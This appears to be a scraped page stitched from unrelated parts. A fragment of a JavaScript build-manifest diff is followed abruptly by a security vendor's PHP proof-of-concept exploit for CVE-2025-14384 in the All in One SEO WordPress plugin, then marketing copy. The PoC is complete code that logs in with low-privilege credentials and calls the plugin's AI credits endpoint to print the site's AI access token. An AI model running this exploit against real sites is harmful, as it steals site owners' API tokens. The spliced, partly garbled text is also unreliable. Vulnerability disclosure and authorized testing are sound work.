-      "_license.414793bf.js",
-      "_params.af7ed354.js",
-      "_Tabs.a35aa612.js",
-      "_Index.2a391835.js",
-      "_Header.ae0d0374.js",
-      "_LicenseKeyBar.48793272.js",
-      "_Logo.3715aad2.js",
       "_Close.ccd53ef3.js",
       "__plugin-vue_export-helper.eefbdd86.js",
-      "_runtime-core.esm-bundler.ce5add0b.js",
-      "_Support.1c4a9051.js",
-      "_translations.e71e2202.js",
-      "_runtime-dom.esm-bundler.dc49ee3e.js",
-      "_default-i18n.65d58dd6.js",
-      "_helpers.633a054c.js",
-      "_date.f7db1924.js",
-      "_Url.c2dcf147.js",
-      "_Button.9a301412.js",
-      "_Pencil.d82df6a1.js",
-      "_Exclamation.fc507dc9.js",
-      "_Gear.0f79dbf5.js",
-      "_Slide.3003ef51.js"
+      "_runtime-core.esm-bundler.ce5add0b.js"
     ],
     "css": [
-      "css/Index.d749a0ad.css",
-      "css/main.d89f69d1.css"
-    ],
-    "assets": [
-      "images/dannie-detective.b4823250.png"
+      "css/Index.74bb20a6.css"
     ]
   },
   "_Index.72794c8a.js": {
@@ -1046,12 +979,12 @@
       "css/Index.1cf864a9.css"
     ]
   },
-  "_Index.9292de28.js": {
-    "file": "js/Index.9292de28.js",
+  "_Index.778efbec.js": {
+    "file": "js/Index.778efbec.js",
     "name": "Index",
     "imports": [
-      "_index.317ad629.js",
-      "_Url.c2dcf147.js",
+      "_index.4b887428.js",
+      "_Url.9f0afcb2.js",
       "_Input.f04bee4d.js",
       "_Button.9a301412.js",
       "_Pencil.d82df6a1.js",
@@ -1074,6 +1007,36 @@
       "css/Index.17849410.css"
     ]
   },
+  "_Index.9e9d564d.js": {
+    "file": "js/Index.9e9d564d.js",
+    "name": "Index",
+    "imports": [
+      "_constants.bc5863fe.js",
+      "_index.4b887428.js",
+      "_JsonValues.a0694556.js",
+      "_Index.778efbec.js",
+      "_Url.9f0afcb2.js",
+      "_Button.9a301412.js",
+      "_Select.f950b4c6.js",
+      "_Index.2a391835.js",
+      "_date.f7db1924.js",
+      "_datetime.f197aeae.js",
+      "_DatePicker.36e9e18f.js",
+      "_Input.f04bee4d.js",
+      "_Tooltip.23c7170d.js",
+      "_Trash.87a7d946.js",
+      "_Plus.c9b03af8.js",
+      "_translations.e71e2202.js",
+      "__plugin-vue_export-helper.eefbdd86.js",
+      "_default-i18n.65d58dd6.js",
+      "_runtime-core.esm-bundler.ce5add0b.js",
+      "_Slide.3003ef51.js",
+      "_runtime-dom.esm-bundler.dc49ee3e.js"
+    ],
+    "css": [
+      "css/Index.1f46ce05.css"
+    ]
+  },
   "_Index.a4d7633a.js": {
     "file": "js/Index.a4d7633a.js",
     "name": "Index",
@@ -1108,6 +1071,43 @@
       "css/Index.a5c3a0c3.css"
     ]
   },
+  "_Index.d5e64911.js": {
+    "file": "js/Index.d5e64911.js",
+    "name": "Index",
+    "imports": [
+      "_vue-router.41e9d860.js",
+      "_index.4b887428.js",
+      "_license.388ee2cc.js",
+      "_params.af7ed354.js",
+      "_Tabs.13bb57b9.js",
+      "_Index.2a391835.js",
+      "_Header.ab7dd0a5.js",
+      "_LicenseKeyBar.40cfe2b2.js",
+      "_Logo.3715aad2.js",
+      "_Close.ccd53ef3.js",
+      "__plugin-vue_export-helper.eefbdd86.js",
+      "_runtime-core.esm-bundler.ce5add0b.js",
+      "_Support.1c4a9051.js",
+      "_translations.e71e2202.js",
+      "_runtime-dom.esm-bundler.dc49ee3e.js",
+      "_default-i18n.65d58dd6.js",
+      "_helpers.633a054c.js",
+      "_date.f7db1924.js",
+      "_Url.9f0afcb2.js",
+      "_Button.9a301412.js",
+      "_Pencil.d82df6a1.js",
+      "_Exclamation.fc507dc9.js",
+      "_Gear.0f79dbf5.js",
+      "_Slide.3003ef51.js"
+    ],
+    "css": [
+      "css/Index.d749a0ad.css",
+      "css/main.d89f69d1.css"
+    ],
+    "assets": [
+      "images/dannie-detective.b4823250.png"
+    ]
+  },
   "_IndexStatus.!~{04P}~.js": {
     "file": "css/IndexStatus.c33412c0.css",
     "src": "_IndexStatus.!~{04P}~.js"
@@ -1191,19 +1191,19 @@
     "file": "css/KeywordsGraph.2b3f4acc.css",
     "src": "_KeywordsGraph.!~{05L}~.js"
   },
-  "_Keywo

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14384 - All in One SEO – Powerful SEO Plugin to Boost SEO Rankings & Increase Traffic <= 4.9.2 - Missing Authorization to Authenticated (Contributor+) AI Access Token and Credit Disclosure

<?php
/**
 * Proof of Concept for CVE-2025-14384
 * Demonstrates unauthorized access to AI access token and credits in All in One SEO plugin <= 4.9.2
 * Requires Contributor-level WordPress authentication
 */

$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS - Contributor or higher role
$password = 'contributor_password'; // CHANGE THIS

// Step 1: Authenticate to WordPress and obtain authentication cookies
function authenticate_wordpress($target_url, $username, $password) {
    $login_url = $target_url . '/wp-login.php';
    $admin_url = $target_url . '/wp-admin/';
    
    // Create temporary cookie file
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_14384_');
    
    // Initial request to get login form and nonce
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    ]);
    $response = curl_exec($ch);
    
    // Extract nonce from login form (simplified - real implementation would parse HTML)
    // For this PoC, we assume standard WordPress authentication
    
    // Perform login
    $post_fields = [
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_fields),
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Verify authentication by checking if we can access admin area
    $ch = curl_init($admin_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code === 200 && strpos($response, 'wp-admin') !== false) {
        return $cookie_file;
    }
    
    unlink($cookie_file);
    return false;
}

// Step 2: Exploit the vulnerable endpoint
function exploit_credits_endpoint($target_url, $cookie_file) {
    $api_url = $target_url . '/wp-json/aioseo/v1/ai/credits';
    
    $ch = curl_init($api_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        CURLOPT_HTTPHEADER => [
            'Accept: application/json',
            'Content-Type: application/json'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Main execution
echo "[+] CVE-2025-14384 Proof of Conceptn";
echo "[+] Target: $target_urln";
echo "[+] Attempting authentication...n";

$cookie_file = authenticate_wordpress($target_url, $username, $password);

if (!$cookie_file) {
    echo "[-] Authentication failed. Check credentials.n";
    exit(1);
}

echo "[+] Authentication successfuln";
echo "[+] Exploiting vulnerable endpoint...n";

$result = exploit_credits_endpoint($target_url, $cookie_file);

if ($result['code'] === 200) {
    $data = json_decode($result['response'], true);
    if ($data && isset($data['success']) && $data['success']) {
        echo "[+] SUCCESS: AI access token and credits disclosedn";
        echo "[+] Response data:n";
        echo json_encode($data, JSON_PRETTY_PRINT) . "n";
        
        // Check if vulnerable version (exposes full aiOptions)
        if (isset($data['aiOptions']) && is_array($data['aiOptions'])) {
            echo "[+] Vulnerability confirmed: Full aiOptions exposedn";
            if (isset($data['aiOptions']['accessToken'])) {
                echo "[!] CRITICAL: AI Access Token: " . $data['aiOptions']['accessToken'] . "n";
            }
        }
    } else {
        echo "[-] Unexpected response formatn";
        echo "Response: " . $result['response'] . "n";
    }
} else {
    echo "[-] Request failed with HTTP code: " . $result['code'] . "n";
    echo "Response: " . $result['response'] . "n";
}

// Cleanup
if (file_exists($cookie_file)) {
    unlink($cookie_file);
}

echo "[+] Proof of Concept completen";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School